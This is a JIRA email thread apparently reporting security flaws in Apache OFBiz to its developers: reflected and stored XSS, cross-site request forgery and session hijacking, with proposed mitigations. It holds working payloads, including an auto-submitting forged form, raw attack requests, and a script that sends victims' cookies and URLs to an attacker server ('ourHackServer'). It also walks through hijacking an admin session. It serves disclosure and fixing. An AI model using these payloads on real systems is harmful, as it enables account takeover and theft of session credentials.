[
https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12674572#action_12674572
]
Michele Orru commented on OFBIZ-1959:
-------------------------------------
Hi David, Hi Jaques.
I'm analyzing your patches and how you've integrated esapi and antisamy in
Ofbiz.
I really like the way you implemented it: clear, concise and sussefull...except
for an XSS issue that I can still find.
Ecommerce seemd "virtually invuylnerable" to XSS now.
The problem I mentioned is relative to partymgr.
If I log in to the party application, the I search a party, the flow is
directed on viewprofile. The partyId parameter is still vulnerable to
reflected XSS: basiacally it is escaping HTML but not in the good way.
--- REQUEST ---
GET /partymgr/control/viewprofile?partyId=admin"><script>alert(6)</script>
HTTP/1.1
Host: localhost:8443
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5)
Gecko/2009010711 Gentoo Firefox/3.0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: https://localhost:8443/partymgr/control/findparty
Cookie: JSESSIONID=18BCEB844AA5AAFEE500AE8690D93121.jvm1;
deadfishcatalog.autoUserLoginId=deadfish; webtools.autoUserLoginId=admin;
OFBiz.Visitor=10000; crmsfa.autoUserLoginId=admin;
warehouse.autoUserLoginId=lucio; catalog.autoUserLoginId=lucio;
ecommerce.autoUserLoginId=euronymous; partymgr.autoUserLoginId=admin
--- RESPONSE --- (truncated where unnecessary to explanation)
the injected JS is popping-up so much because the parameter partyId value is
used to create links ton other resources...thus closing the tag and then
re-opening another one with <script>..</script> causes this, as you can see
from the following excerpt.
[...]
<!-- Begin Menu Widget
component://party/widget/partymgr/PartyMenus.xml#ProfileTabBar -->
<div class="button-bar tab-bar no-clear">
<ul>
<li>
<ul>
<li class="selected "><a
href="/partymgr/control/viewprofile?partyId=admin"><SCRipt>alert(6)</scripT>">Profile</a></li>
<li><a
href="/partymgr/control/Preferences?partyId=admin"><SCRipt>alert(6)</scripT>">Preferences</a></li>
<li><a
href="/partymgr/control/viewroles?partyId=admin"><SCRipt>alert(6)</scripT>">Role(s)</a></li>
<li><a
href="/partymgr/control/linkparty?partyId=admin"><SCRipt>alert(6)</scripT>">Link
Party</a></li>
<li><a
href="/partymgr/control/EditPartyRelationships?partyId=admin"><SCRipt>alert(6)</scripT>">Relationships</a></li>
<li><a
href="/partymgr/control/viewvendor?partyId=admin"><SCRipt>alert(6)</scripT>">Vendor</a></li>
<li><a
href="/partymgr/control/EditPartyTaxAuthInfos?partyId=admin"><SCRipt>alert(6)</scripT>">Tax
Infos</a></li>
<li><a
href="/partymgr/control/EditPartyRates?partyId=admin"><SCRipt>alert(6)</scripT>">Rates</a></li>
<li><a
href="/partymgr/control/editShoppingList?partyId=admin"><SCRipt>alert(6)</scripT>">Shopping
Lists</a></li>
<li><a
href="/partymgr/control/ViewSegmentRoles?partyId=admin"><SCRipt>alert(6)</scripT>">Segments</a></li>
<li><a
href="/partymgr/control/EditPartyClassifications?partyId=admin"><SCRipt>alert(6)</scripT>">Classifications</a></li>
<li><a
href="/partymgr/control/ListPartyContactLists?partyId=admin"><SCRipt>alert(6)</scripT>">Contact
Lists</a></li>
<li><a
href="/partymgr/control/EditPartyContents?partyId=admin"><SCRipt>alert(6)</scripT>">Party
Content</a></li>
<li><a
href="/partymgr/control/EditPartySkills?partyId=admin"><SCRipt>alert(6)</scripT>">Party
Skills</a></li>
<li><a
href="/partymgr/control/EditPersonTrainings?partyId=admin"><SCRipt>alert(6)</scripT>">Trainings</a></li>
<li><a
href="/partymgr/control/EditPartyResumes?partyId=admin"><SCRipt>alert(6)</scripT>">Resumes</a></li>
<li><a
href="/partymgr/control/EditEmploymentApps?partyId=admin"><SCRipt>alert(6)</scripT>&&referredByPartyId=admin"><SCRipt>alert(6)</scripT>">Employment
Applications</a></li>
<li><a
href="/partymgr/control/PartyFinancialHistory?partyId=admin"><SCRipt>alert(6)</scripT>">Fin.
History</a></li>
<li><a
href="/partymgr/control/PartyGeoLocation?partyId=admin"><SCRipt>alert(6)</scripT>">Geolocation</a></li>
</ul>
<br class="clear"/>
</li>
</ul>
</div>
<!-- End Menu Widget
component://party/widget/partymgr/PartyMenus.xml#ProfileTabBar -->
[...]
I'm gonna debug a little bit to understand why...
(anyway Idea 8.1 with remote debuggin on tomcat is too slow :( )
Have a good developing time guys
P.S.: clearly, XSRF has not been fixed, and is possible even without XSS of
course.
just try to swend the following request, after authentication, changing the
UserAgent (so your browser):
try cganing with this Opera/9.63 (X11; Linux x86_64; U; en) Presto/2.1.1
POST /partymgr/control/createPerson HTTP/1.1
Host: localhost:8443
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5)
Gecko/2009010711 Gentoo Firefox/3.0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: https://localhost:8443/partymgr/control/editperson?create_new=Y
Cookie: JSESSIONID=18BCEB844AA5AAFEE500AE8690D93121.jvm1;
deadfishcatalog.autoUserLoginId=deadfish; webtools.autoUserLoginId=admin;
OFBiz.Visitor=10000; crmsfa.autoUserLoginId=admin;
warehouse.autoUserLoginId=lucio; catalog.autoUserLoginId=lucio;
ecommerce.autoUserLoginId=euronymous; partymgr.autoUserLoginId=admin
Content-Type: application/x-www-form-urlencoded
Content-Length: 509
salutation=&firstName=Michele&middleName=&lastName=Orru&personalTitle=&suffix=&nickname=&firstNameLocal=&middleNameLocal=&lastNameLocal=&otherLocal=&memberId=&gender=&birthDate=&height=&weight=&mothersMaidenName=&maritalStatus=&socialSecurityNumber=&passportNumber=&passportExpireDate=&totalYearsWorkExperience=&comments=&employmentStatusEnumId=&residenceStatusEnumId=&occupation=&yearsWithEmployer=&monthsWithEmployer=&existingCustomer=&preferredCurrencyUomId=&description=&externalId=&statusId=PARTY_ENABLED
It will work because there aren't any random token appended to the POST request.
But you already know that I think, as Session Management protections.
Michele OrrĂ¹
> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and
> mitigation
> ------------------------------------------------------------------------------------
>
> Key: OFBIZ-1959
> URL: https://issues.apache.org/jira/browse/OFBIZ-1959
> Project: OFBiz
> Issue Type: Bug
> Components: ALL COMPONENTS
> Affects Versions: SVN trunk
> Reporter: Michele Orru
> Priority: Critical
> Fix For: SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security
> issues|||+++++++++++++++++++++++++
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end
> requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and
> so on
> 3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST
> request
> parameters are never "fortified" to prevent XSRF: no random token protection
> can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the
> attacker, force you (the victim)
> to executes.
> - In GET requests it will be a link like
> http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
> - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose
> description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the
> middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following
> innocuous one:
>
> <form method="POST" id="xsrf" name="xsrf"
>
> action="https://127.0.0.1:8443/catalog/control/createProduct">
> <input type=hidden name="isCreate" value="true">
> <input type=hidden name="productId" value="hack02">
> <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
> <input type=hidden name="internalName" value="hack02">
> </form>
> <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price,
> content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of
> the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent
> to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in
> the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the
> browser.
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some
> stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a
> needed
> parameter is quite un-useful and so prone to store our malicious code) with
> something
> like:
>
> <input type=hidden name="internalName"
>
> value="<script>alert(document.cookie)</script>">
>
> The malicious code will display every cookie information in a pop-up, that
> only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET
> request from
> our victims, extract the useful parameters and store them in a file or DB, in
> a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his
> maxlength
> is 255 characters: this gives us a great advantage when creating a complex
> injection code,
> if we don't want to inject a link to the malicious script like
> <img src="http://x.x.x.x/malicious.js">
>
> The malicious code will look as the following one:
>
> <script>
> var
> str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
>
> if(document.cookie.indexOf("done")<0)\{
> document.cookie="done=true";
> document.location.replace(str);
> }
> </script>
>
> Of course the code can be a lot shorter, and the "already-exploited-check"
> can be removed.
>
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL
> (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid
> credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new
> cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value
> with the grabbed
> one, and we make the previous request another time (just refresh on the login
> page), then
> we are riding the same victim session. If we are lucky and it's an admin, we
> can do
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
> - Infrastructure: a web application firewall like ModSecurity can be
> deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will
> mitigate XSS and Session Hijacking.
> - Application:
> XSS--> input validation on form parameters and GET/POST request values must
> be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI
> project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add
> to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the
> algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!
--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.